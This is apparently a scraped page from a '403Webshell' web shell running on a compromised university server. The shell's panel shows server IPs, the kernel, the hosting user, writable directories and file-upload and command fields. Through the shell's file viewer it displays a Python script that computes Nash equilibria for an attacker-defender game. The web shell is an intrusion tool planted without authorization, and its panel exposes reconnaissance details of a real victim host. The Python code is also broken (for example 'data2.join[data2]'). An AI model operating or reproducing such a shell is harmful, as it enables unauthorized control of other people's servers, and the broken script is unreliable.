403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.69.58.221
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/phd_code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/phd_code/nashpy1.py
import numpy as np
import nashpy as nash

# Define the payoff matrix for each player
#r=10
for r in range(1,20):
    ca0=0;ca1=2;ca2=4
    cd0=0;cd1=3;cd2=6
    #define payoff matric Equation
    a11=0;a12=0;a13=0
    a21=r-ca1;a22=-ca1;a23=-ca1
    a31=r-ca2;a32=r-ca2;a33=-ca2
    d11=r;d12=r-cd1;d13=r-cd2
    d21=-r;d22=r-cd1;d23=r-cd2
    d31=-r;d32=-r-cd1;d33=r-cd2

    #define Player Probability Distribution


    player1_payoffs = np.array([[a11, a12, a13], [a21, a22, a23], [a31, a32, a33]])
    player2_payoffs = np.array([[d11, d12, d13], [d21, d22, d23], [d31, d32, d33]])



    # Create the game
    game = nash.Game(player1_payoffs, player2_payoffs)

    # Find the Nash equilibria
    equilibria = game.support_enumeration()

    # Iterate over the equilibria and simulate the strategies
    print("When r= ",r)
    for eq in equilibria:
        p1_strategy, p2_strategy = eq
        print("Probability Distribution of Players")
        print("=========================================")
        print("Attacker strategy:", p1_strategy)
        print("Defender strategy:", p2_strategy)
        #print("Payoffs:", game[p1_strategy, p2_strategy])
        print()
    aspoa = game[p1_strategy, p2_strategy]
    #as= game[player1_strategy, player2_strategy]
    print("Simulated Expected Payoff:")
    print("----------------------------------------")
    print("Attacker Expected payoff:", aspoa[0])
    print("Defender Expected payoff:", aspoa[1])
    data2 = [
        [r, p1_strategy[0],'2','3','11','12','13', aspoa[0],aspoa[0]]]
    data2=data2.join[data2]

# Define column headers
headers = ['Resources under Protection(r)', 'P0','P1','P2','Q0','Q1','Q2', 'eU(A)','eU(D)']

# Print column headers
header_row = ' | '.join(headers)
print(header_row)

# Print separator
separator = '-' * len(header_row)
print(separator)

# Print table rows
for row in data2:
    row_str = ' | '.join(str(cell) for cell in row)
    print(row_str)

Youez - 2016 - github.com/yon3zu
LinuXploit